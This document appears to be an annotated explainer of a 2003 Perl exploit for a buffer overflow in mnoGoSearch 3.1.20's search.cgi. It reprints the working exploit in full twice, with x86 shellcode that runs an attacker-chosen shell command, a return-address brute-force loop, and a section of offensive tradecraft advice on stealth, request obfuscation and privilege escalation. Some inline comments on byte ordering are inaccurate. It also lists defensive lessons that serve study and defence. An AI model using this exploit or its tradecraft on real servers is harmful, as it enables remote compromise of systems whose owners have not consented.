mnoGoSearch 3.1.20 Remote Command Execution Exploit Explained

What this paper is

This paper details a remote command execution vulnerability in mnoGoSearch version 3.1.20. The exploit allows an attacker to execute arbitrary commands on the target server with the privileges of the web server user. This is achieved by sending a specially crafted HTTP GET request to the search.cgi script.

Simple technical breakdown

The vulnerability lies in how the search.cgi script handles user-supplied input, specifically the ul parameter. When the script processes this parameter, it doesn't properly sanitize or validate the input, leading to a buffer overflow.

The exploit crafts a long string for the ul parameter. This string contains:

1. A series of 'B' characters to fill a buffer.
2. A "return address" which is a memory address that the program will jump to after a function finishes. The exploit overwrites this with an address pointing to the shellcode.
3. Shellcode, which is a small piece of machine code designed to perform a specific action, in this case, executing a command.

When the vulnerable search.cgi script attempts to process this oversized input, it overflows the buffer and overwrites the return address on the stack. When the function returns, instead of going back to the normal execution flow, it jumps to the shellcode, executing the attacker's command.

The exploit also uses the Accept and Accept-Language HTTP headers to pass the shellcode itself, as the ul parameter is not large enough to hold both the buffer overflow padding and the shellcode.

Complete code and payload walkthrough

The provided Perl script mnoGoSearch 3.1.20 - Remote Command Execution (Exploit-DB ID: 41) aims to exploit a buffer overflow vulnerability in the search.cgi script of mnoGoSearch.

#!/usr/bin/perl
#
# [ reloaded ]
# Remote Exploit for mnoGoSearch 3.1.20 that performs
# remote command execution as the webserver user id
# for linux ix86
# by pokleyzz
#

use IO::Socket;

$host = "127.0.0.1";
$cmd  = "ls -la";
$searchpath = "/cgi-bin/search.cgi";
$rawret = 0xbfff105c; # Default return address, likely a stack address
$ret = "";
$suffsize = 0;
$port = 80;

my $conn;

# ... (argument parsing code) ...

#########~~ start function ~~#########
sub hex_to_int {
	my $hs = $_[0];
	$int = (hex(substr($hs, 0, 2)) << 24) + (hex(substr($hs, 2, 2)) << 16) +
                         (hex(substr($hs, 4, 2)) << 8) + + hex(substr($hs, 6, 2));

}

sub int_to_hex {
	my $in = $_[0];
	$hex = sprintf "%x",$in;
}

sub string_to_ret {
	my $rawret = $_[0];
	if (length($rawret) != 8){
		print $rawret;
		die "[*] incorrect return address ...\n ";
	} else {
		# This function reorders the bytes of the return address from big-endian to little-endian
		# to match how it's expected in memory on x86 architecture.
		# Example: "0xbfff105c" -> chr(0x5c) . chr(0x10) . chr(0xff) . chr(0xbf)
		$ret = chr(hex(substr($rawret, 2, 2))); # Byte 2-3 (e.g., 10)
		$ret .= chr(hex(substr($rawret, 0, 2))); # Byte 0-1 (e.g., bf)
		$ret .= chr(hex(substr($rawret, 6, 2))); # Byte 6-7 (e.g., 5c)
    		$ret .= chr(hex(substr($rawret, 4, 2))); # Byte 4-5 (e.g., ff)
	}

}

sub connect_to {
	#print "[x] Connect to $host on port $port ...\n";
	$conn = IO::Socket::INET->new (
					Proto => "tcp",
					PeerAddr => "$host",
					PeerPort => "$port",
					) or die "[*] Can't connect to $host on port $port ...\n";
	$conn-> autoflush(1);
}

sub check_version {
	my $result;
	connect_to();
	print "[x] Check if $host use correct version ...\n";
	# Sends a simple GET request with a specific template parameter to check for a unique string in the response.
	# This is a common technique to fingerprint vulnerable versions without triggering security mechanisms.
	print $conn "GET $searchpath?tmplt=/test/testing123 HTTP/1.1\nHost: $host\nConnection: Close\n\n";

	# capture result
	while ($line = <$conn>) {
		$result .= $line;
		};

	close $conn;
	if ($result =~ /_test_/){ # Checks if the response contains "_test_"
		print "[x] Correct version detected .. possibly vulnerable ...\n";
	} else {
		print $result;
		die "[x] New version or wrong url\n";
	}
}

sub exploit {
	my $rw = $_[0]; # $rw is the current return address being tested
	$result = "";
	# linux ix86 shellcode rip from phx.c by proton
	# This is the actual shellcode. It's designed to execute a command.
	# The shellcode itself is a sequence of bytes.
	$shellcode = "\xeb\x3b\x5e\x8d\x5e\x10\x89\x1e\x8d\x7e\x18\x89\x7e\x04\x8d\x7e\x1b\x89\x7e\x08"
	             ."\xb8\x40\x40\x40\x40\x47\x8a\x07\x28\xe0\x75\xf9\x31\xc0\x88\x07\x89\x46\x0c\x88"
	             ."\x46\x17\x88\x46\x1a\x89\xf1\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	             ."\x80\xe8\xc0\xff\xff\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
	             ."\x41\x41" # Padding within the shellcode itself
	             ."/bin/sh -c echo 'Content-Type: text/hello';echo '';" # This part is NOT shellcode bytes, it's a string appended to the shellcode.
	             ."$cmd" # The user-defined command to execute.
	             ."@"; # A terminator character.

	$strret = int_to_hex($rw); # Convert the integer return address to hex string.
	$ret = string_to_ret($strret); # Format the hex string into the little-endian byte sequence for the return address.

	# This part is crucial: it prepares the environment variables.
	# The shellcode is placed within a large buffer of 'B' characters.
	# The size of this buffer is calculated to be 4096 bytes minus the length of the shellcode.
	# This large buffer is intended to be placed in the environment variables of the CGI process.
	# The exploit relies on the fact that environment variables are often placed on the stack,
	# and a buffer overflow can overwrite the return address with a pointer into this environment.
	$envvar = 'B' x (4096 - length($shellcode));
	$envvar .= $shellcode;

	# generate query string for the 'ul' parameter
	$buffer = "B" x $suffsize; # Initial padding, controlled by the 'suff' argument.
	$buffer .= "B" x 4800; # Main buffer for the 'ul' parameter, designed to overflow.
	$buffer .= $ret x 200; # Overwrite the return address multiple times with the crafted return address.

	# Construct the HTTP request.
	# The 'ul' parameter contains the overflow buffer.
	# The 'Accept', 'Accept-Language', and 'Accept-Encoding' headers are used to pass the large $envvar buffer,
	# which contains the shellcode. This is a common technique when the primary overflow buffer
	# is not large enough to contain the payload.
	$request = "GET $searchpath?ul=$buffer HTTP/1.1\n"
		   ."Accept: $envvar\n"
		   ."Accept-Language: $envvar\n"
		   ."Accept-Encoding: $envvar\n"
		   ."User-Agent: Mozilla/4.0\n"
		   ."Host: $host\n"
		   ."Connection: Close\n\n";

	&connect_to;
	print "[x] Sending exploit code ..\n";
	print "[x] ret: $strret\n";
	print "[x] suf: $suffsize\n";
	print "[x] length:",length($request),"\n";
	print $conn "$request";
	while ($line = <$conn>) {
		$result .= $line;
		};
	close $conn;

}

sub check_result {
	# This function checks the HTTP response for signs of successful command execution.
	# It looks for "hello" (from the echo command in the shellcode) and ensures it's not a regular HTML response.
	if ($result =~ /hello/ && !($result =~ /text\/html/)){
		print $result;
		$success = 1;
	} else {
		print $result;
		print "[*] Failed ...\n";
		$success = 0;
	}
}
#########~~ end function ~~#########

&check_version; # First, verify the target is a vulnerable version.
# This loop iterates through potential return addresses.
# It starts from the default $rawret and increments by 1024 bytes.
# This is a brute-force approach to find a suitable address on the stack where the shellcode resides.
for ($rawret; $rawret < 0xbfffffff;$rawret += 1024){
	&exploit($rawret); # Attempt to exploit with the current return address.
	&check_result;     # Check if the exploit was successful.
	if ($success == 1){
		exit; # If successful, exit the script.
	}
	sleep 1; # Wait for a second before trying the next address.
}

# milw0rm.com [2003-06-10]

Code Fragment/Block -> Practical Purpose Mapping:

• #!/usr/bin/perl: Shebang line, specifies the interpreter.
• use IO::Socket;: Imports the necessary module for network socket operations.
• $host, $cmd, $searchpath, $rawret, $port: Variables for target host, command to execute, CGI path, initial return address guess, and port.
• if ($ARGV[0]) { ... } else { ... }: Argument parsing. Allows the user to specify target host, command, path, port, suffix size, and return address. If no arguments are provided, it prints usage instructions.
• sub hex_to_int: Converts a 8-character hexadecimal string (like "bfff105c") into an integer. It assumes a specific byte order (big-endian for input, but the logic implies it's processing pairs of hex digits which are then combined, effectively treating it as a 32-bit integer).
• sub int_to_hex: Converts an integer to its hexadecimal string representation.
• sub string_to_ret: Takes a hex string representing a return address, validates its length, and then reorders its bytes into a little-endian format suitable for x86 architecture. This is crucial for overwriting the return address on the stack.
• sub connect_to: Establishes a TCP connection to the target host and port.
• sub check_version: Connects to the target, sends a specific GET request to search.cgi with a unique template parameter (/test/testing123), and checks if the response contains _test_. This is a fingerprinting mechanism to confirm the target is likely running a vulnerable version.
• sub exploit:
  • $shellcode = "...": Defines the machine code payload for Linux x86. This shellcode is designed to spawn a shell. It includes a string /bin/sh -c echo 'Content-Type: text/hello';echo '';$cmd@ appended to it. The echo 'Content-Type: text/hello';echo ''; part is to ensure a valid HTTP response header is printed, and $cmd is the user-specified command. The @ acts as a terminator.
  • $strret = int_to_hex($rw); $ret = string_to_ret($strret);: Prepares the target return address in the correct byte format.
  • $envvar = 'B' x (4096 - length($shellcode)); $envvar .= $shellcode;: Creates a large buffer (4096 bytes) filled with 'B's, followed by the shellcode. This buffer is intended to be placed in the environment variables of the CGI process, which are often located on the stack.
  • $buffer = "B" x $suffsize; $buffer .= "B" x 4800; $buffer .= $ret x 200;: Constructs the main overflow payload for the ul parameter. It starts with optional padding ($suffsize), then a large amount of 'B's (4800 bytes) to cause the overflow, and finally, the crafted return address ($ret) repeated many times to ensure it overwrites the original return address.
  • $request = "GET $searchpath?ul=$buffer HTTP/1.1\nAccept: $envvar\nAccept-Language: $envvar\nAccept-Encoding: $envvar\n...": Assembles the full HTTP request. The ul parameter carries the overflow buffer, and the Accept, Accept-Language, and Accept-Encoding headers carry the large $envvar buffer containing the shellcode.
  • &connect_to; print $conn "$request";: Connects to the target and sends the crafted request.
  • while ($line = <$conn>) { $result .= $line; };: Captures the server's response.
• sub check_result: Analyzes the captured response. It checks for the string "hello" (indicating the command executed successfully) and ensures the Content-Type is not text/html, which would suggest a normal error page rather than a command execution result.
• &check_version;: Calls the version check function first.
• for ($rawret; $rawret < 0xbfffffff;$rawret += 1024): This is the main loop. It iterates through a range of memory addresses, incrementing by 1024 bytes each time. This is a brute-force search for a valid return address on the stack that points to the shellcode. The loop starts from the initial $rawret and goes up to 0xbfffffff.
• &exploit($rawret); &check_result; if ($success == 1) { exit; }: Inside the loop, it calls exploit with the current address, then check_result. If successful, it exits.
• sleep 1;: Pauses for 1 second between attempts.

Shellcode/Payload Segment Explanation:

The core payload consists of two parts: the overflow buffer and the shellcode itself.

1. Overflow Buffer ($buffer):

   • "B" x $suffsize: Initial padding. The suff argument (0-3) is used to adjust this padding.
   • "B" x 4800: This is the primary buffer overflow section. It's a large number of 'B' characters designed to exceed the allocated buffer space in the search.cgi script.
   • $ret x 200: This section repeatedly writes the crafted return address (in little-endian byte format) multiple times. The goal is to ensure that the original return address on the stack is overwritten by the attacker-controlled address.

2. Shellcode ($shellcode):

   • "\xeb\x3b\x5e\x8d\x5e\x10\x89\x1e\x8d\x7e\x18\x89\x7e\x04\x8d\x7e\x1b\x89\x7e\x08\xb8\x40\x40\x40\x40\x47\x8a\x07\x28\xe0\x75\xf9\x31\xc0\x88\x07\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x89\xf1\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc0\xff\xff\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41": This is the actual machine code for Linux x86. It's a standard shellcode that aims to execute /bin/sh. The \x41 bytes are padding within the shellcode itself.
   • "/bin/sh -c echo 'Content-Type: text/hello';echo '';$cmd@": This string is appended directly after the machine code bytes. It's not part of the executable shellcode but is interpreted by the shell spawned by the preceding machine code.
     • echo 'Content-Type: text/hello';echo '';: This part ensures that the output of the command includes Content-Type: text/hello and a blank line, which the check_result function looks for to confirm success.
     • $cmd: This is where the user-specified command (e.g., ls -la) is inserted.
     • @: A terminator character.

Execution Flow:

1. Initialization: Script starts, sets default values for host, command, etc.
2. Argument Parsing: User-provided arguments override defaults.
3. Version Check: check_version is called. It connects, sends a specific request, and verifies a unique string in the response to confirm the target is vulnerable.
4. Exploit Loop: The script enters a for loop.
   • It iterates through a range of memory addresses ($rawret to 0xbfffffff), incrementing by 1024 bytes. This is a brute-force attempt to find a stack address where the shellcode will reside.
   • For each address, exploit($rawret) is called.
     • Inside exploit, the shellcode is prepared.
     • A large buffer ($buffer) is constructed, containing padding, the overflow data ('B's), and the crafted return address.
     • The HTTP request is built, with the overflow buffer in the ul parameter and the shellcode (within a large environment variable buffer) in Accept headers.
     • The request is sent to the target.
   • check_result is called to analyze the response.
   • If check_result indicates success ($success == 1), the loop breaks, and the script exits.
   • If not successful, the loop continues to the next address after a 1-second pause.

Practical details for offensive operations teams

• Required Access Level: Network access to the target host on the specified port (default 80 for HTTP). No prior authentication or local access is required.
• Lab Preconditions:
  • A target machine running mnoGoSearch 3.1.20 (or a demonstrably vulnerable version) accessible over the network.
  • The search.cgi script must be accessible via HTTP.
  • The target environment must be Linux x86.
  • The stack layout must be predictable enough for the brute-force return address search to be effective. This means the environment variables are likely placed on the stack in a predictable location relative to the overflowed buffer.
• Tooling Assumptions:
  • Perl interpreter installed on the attacker's machine.
  • Basic network connectivity.
• Execution Pitfalls:
  • Return Address Guessing: The brute-force approach for the return address ($rawret loop) is the most significant potential failure point. If the stack layout is different from what's assumed, or if ASLR (Address Space Layout Randomization) is active (though unlikely for a 2003 exploit targeting older systems), the guessed addresses might not point to the shellcode. The increment of 1024 bytes is a heuristic.
  • Network Latency/Firewalls: Network issues can cause connection failures or incomplete responses, leading to check_result failing.
  • WAF/IDS: Modern Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) might detect the unusual HTTP request structure, the large headers, or the shellcode patterns.
  • Version Mismatch: The check_version function might fail if the target is not exactly the vulnerable version or if the search.cgi path is different.
  • Shellcode Execution Failure: The shellcode might not execute correctly if the target architecture or OS is slightly different, or if there are specific system configurations that prevent /bin/sh execution.
  • Command Output: If the executed command produces a very large output, it might exceed buffer limits during response capture, or the check_result logic might be bypassed if the output resembles HTML.
  • suffsize Parameter: The suffsize parameter is intended to fine-tune the buffer overflow. If the default 4800 'B's isn't enough or is too much, adjusting suffsize might be necessary, but it's not explicitly explained how to determine the optimal value without experimentation.
• Tradecraft Considerations:
  • Reconnaissance: Confirm the target is running mnoGoSearch and identify the web server path for search.cgi. The check_version function is a good starting point for this.
  • Stealth: The exploit uses standard HTTP GET requests, but the large Accept headers are unusual. This could be a signature for detection. For stealthier operations, one might consider alternative methods to deliver the shellcode if possible, or obfuscate the request.
  • Payload Customization: The $cmd variable is critical. Ensure the command is appropriate for the objective and that its output is manageable.
  • Return Address Hunting: If the brute-force fails, more sophisticated techniques might be needed to determine the correct return address, such as fuzzing or memory inspection if local access were available. However, for a remote exploit, this is difficult.
  • Post-Exploitation: The exploit executes commands as the web server user. This typically means limited privileges. Further actions would involve privilege escalation if possible.
• Expected Telemetry:
  • Network Traffic: A GET request to /cgi-bin/search.cgi with a long ul parameter. Unusual, large Accept, Accept-Language, and Accept-Encoding headers containing repetitive characters ('B') and the shellcode bytes.
  • Web Server Logs: Access logs showing the GET request. Error logs might show segmentation faults or abnormal termination if the exploit fails.
  • Process Monitoring: On the target server, a new process for search.cgi might be observed, potentially running an unexpected command (e.g., /bin/sh) or exhibiting abnormal behavior. The user context would be that of the web server user (e.g., www-data, apache).
  • Command Output: If successful, the output of the executed command will be returned in the HTTP response, potentially including Content-Type: text/hello.

Where this was used and when

This exploit was published in June 2003. At that time, mnoGoSearch was a popular search engine indexing software. Vulnerabilities like this were common in web applications and CGI scripts due to less mature security practices and development methodologies. It's likely this exploit was used by attackers against web servers running this specific version of mnoGoSearch in the early to mid-2000s. Concrete, publicly documented instances of its use in the wild are rare for exploits of this age, but it represents a typical threat vector for that era.

Defensive lessons for modern teams

• Input Validation is Paramount: Never trust user input. All data received from external sources, especially in web applications, must be rigorously validated, sanitized, and escaped to prevent injection attacks, including buffer overflows.
• Secure Coding Practices: Developers must be trained in secure coding principles. Understanding memory management, buffer boundaries, and potential overflow scenarios is crucial.
• Regular Patching and Updates: Keeping software, including web server components, CGI scripts, and applications, up-to-date with the latest security patches is the most effective defense against known vulnerabilities.
• Web Application Firewalls (WAFs): WAFs can help detect and block malicious HTTP requests, including those with unusual patterns, large headers, or known exploit signatures. However, they are not foolproof and can be bypassed.
• Intrusion Detection/Prevention Systems (IDS/IPS): Network-level security devices can monitor for suspicious traffic patterns that might indicate an exploit attempt.
• Principle of Least Privilege: Running web servers and CGI scripts with the minimum necessary privileges limits the impact of a successful compromise. If an attacker gains control, they will only have the permissions of the web server user, not root.
• Runtime Protections: Modern operating systems and application runtimes often include features like Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) that make exploiting buffer overflows more difficult, though not impossible.
• Code Auditing and Static/Dynamic Analysis: Regularly auditing code for vulnerabilities and using static/dynamic analysis tools can help identify potential issues before they are exploited.

ASCII visual (if applicable)

This exploit relies on a stack-based buffer overflow. Here's a simplified representation of the stack before and after the overflow:

+-------------------+
| ...               |
+-------------------+
| Return Address    | <-- Target for overwrite
+-------------------+
| Function Arguments|
+-------------------+
| Local Variables   |
+-------------------+
| Overflow Buffer   | <-- 'B's from 'ul' parameter
+-------------------+
| ...               |
+-------------------+

        --- After Overflow ---

+-------------------+
| ...               |
+-------------------+
| Shellcode Address | <-- Overwritten Return Address
+-------------------+
| Function Arguments|
+-------------------+
| Local Variables   |
+-------------------+
| Overflow Buffer   | <-- 'B's from 'ul' parameter
+-------------------+
| ...               |
+-------------------+

The ul parameter in the GET request fills the "Overflow Buffer" and spills over, overwriting the "Return Address" with the address of the shellcode. When the search.cgi script attempts to return from its function, it jumps to the shellcode instead of its normal execution path. The shellcode itself is delivered via the Accept headers, and its address is what the exploit tries to place at the "Return Address" location.

Source references

• Exploit-DB Paper ID: 41
• Paper Title: mnoGoSearch 3.1.20 - Remote Command Execution
• Author: pokleyzz
• Published: 2003-06-10
• Keywords: Linux, remote
• Paper URL: https://www.exploit-db.com/papers/41
• Raw Exploit URL: https://www.exploit-db.com/raw/41

Original Exploit-DB Content (Verbatim)

#!/usr/bin/perl
# 
# [ reloaded ] 
# Remote Exploit for mnoGoSearch 3.1.20 that performs
# remote command execution as the webserver user id
# for linux ix86
# by pokleyzz
#

use IO::Socket;

$host = "127.0.0.1";
$cmd  = "ls -la";
$searchpath = "/cgi-bin/search.cgi";
$rawret = 0xbfff105c;
$ret = "";
$suffsize = 0;
$port = 80;

my $conn;


if ($ARGV[0]){
	$host = $ARGV[0];	
}
else {
	print "[x] mnogosearch 3.1.x exploit for linux ix86 \n\tby pokleyzz\n\n";
	print "Usage:\n mencari_sebuah_nama.pl host [command] [path] [port] [suff] [ret]\n";
	print "\thost\thostname to exploit\n";
	print "\tcommand\tcommand to execute on server\n";
	print "\tpath\tpath to search.cgi default /cgi-bin/search.cgi\n";
	print "\tport\tport to connect to\n";
	print "\tsuff\tif not success try to use 1, 2 or 3 for suff (default is 0)\n";
	print "\tret\treturn address default bfffd0d0\n";
	exit;
}

if ($ARGV[1]){
	$cmd = $ARGV[1];	
}
if ($ARGV[2]){
	$searchpath = $ARGV[2];	
}
if ($ARGV[3]){
	$port = int($ARGV[3]);	
}
if ($ARGV[4]){
	$suffsize = int($ARGV[4]);	
}	
if ($ARGV[5]){
	$rawret = hex_to_int($ARGV[5]);	
}

#########~~ start function ~~#########
sub hex_to_int {
	my $hs = $_[0];  
	$int = (hex(substr($hs, 0, 2)) << 24) + (hex(substr($hs, 2, 2)) << 16) +
                         (hex(substr($hs, 4, 2)) << 8) + + hex(substr($hs, 6, 2));
	 	
}

sub int_to_hex {
	my $in = $_[0];
	$hex = sprintf "%x",$in;
}

sub string_to_ret {
	my $rawret = $_[0];
	if (length($rawret) != 8){
		print $rawret;
		die "[*] incorrect return address ...\n ";
	} else {
		$ret = chr(hex(substr($rawret, 2, 2)));
		$ret .= chr(hex(substr($rawret, 0, 2)));
		$ret .= chr(hex(substr($rawret, 6, 2)));
    		$ret .= chr(hex(substr($rawret, 4, 2)));
    		
	}	
	
}

sub connect_to {
	#print "[x] Connect to $host on port $port ...\n";
	$conn = IO::Socket::INET->new (
					Proto => "tcp",
					PeerAddr => "$host",
					PeerPort => "$port",
					) or die "[*] Can't connect to $host on port $port ...\n";
	$conn-> autoflush(1);
}

sub check_version {
	my $result;
	connect_to();
	print "[x] Check if $host use correct version ...\n";
	print $conn "GET $searchpath?tmplt=/test/testing123 HTTP/1.1\nHost: $host\nConnection: Close\n\n"; 
	
	# capture result              
	while ($line = <$conn>) { 
		$result .= $line;
		};
	
	close $conn;
	if ($result =~ /_test_/){
		print "[x] Correct version detected .. possibly vulnerable ...\n";
	} else {
		print $result;
		die "[x] New version or wrong url\n";
	}	
}

sub exploit {
	my $rw = $_[0];
	$result = "";
	# linux ix86 shellcode rip from phx.c by proton
	$shellcode = "\xeb\x3b\x5e\x8d\x5e\x10\x89\x1e\x8d\x7e\x18\x89\x7e\x04\x8d\x7e\x1b\x89\x7e\x08"
	             ."\xb8\x40\x40\x40\x40\x47\x8a\x07\x28\xe0\x75\xf9\x31\xc0\x88\x07\x89\x46\x0c\x88"
	             ."\x46\x17\x88\x46\x1a\x89\xf1\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	             ."\x80\xe8\xc0\xff\xff\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
	             ."\x41\x41"
	             ."/bin/sh -c echo 'Content-Type: text/hello';echo '';"
	             ."$cmd"
	             ."@";
	$strret = int_to_hex($rw);
	$ret = string_to_ret($strret);
	$envvar = 'B' x (4096 - length($shellcode));
	$envvar .= $shellcode;
	
	# generate query string
	$buffer = "B" x $suffsize;
	$buffer .= "B" x 4800;
	$buffer .= $ret x 200;
	
	$request = "GET $searchpath?ul=$buffer HTTP/1.1\n"
		   ."Accept: $envvar\n"
		   ."Accept-Language: $envvar\n"
		   ."Accept-Encoding: $envvar\n"
		   ."User-Agent: Mozilla/4.0\n"
		   ."Host: $host\n"
		   ."Connection: Close\n\n";
	
	&connect_to;
	print "[x] Sending exploit code ..\n";
	print "[x] ret: $strret\n";
	print "[x] suf: $suffsize\n";
	print "[x] length:",length($request),"\n";
	print $conn "$request";
	while ($line = <$conn>) { 
		$result .= $line;
		};
	close $conn;
	
}

sub check_result {
	if ($result =~ /hello/ && !($result =~ /text\/html/)){
		print $result;
		$success = 1;
	} else {
		print $result;
		print "[*] Failed ...\n";
		$success = 0;
	}
}
#########~~ end function ~~#########

&check_version;
for ($rawret; $rawret < 0xbfffffff;$rawret += 1024){
	&exploit($rawret);
	&check_result;
	if ($success == 1){
		exit;
	}
	sleep 1;
}

# milw0rm.com [2003-06-10]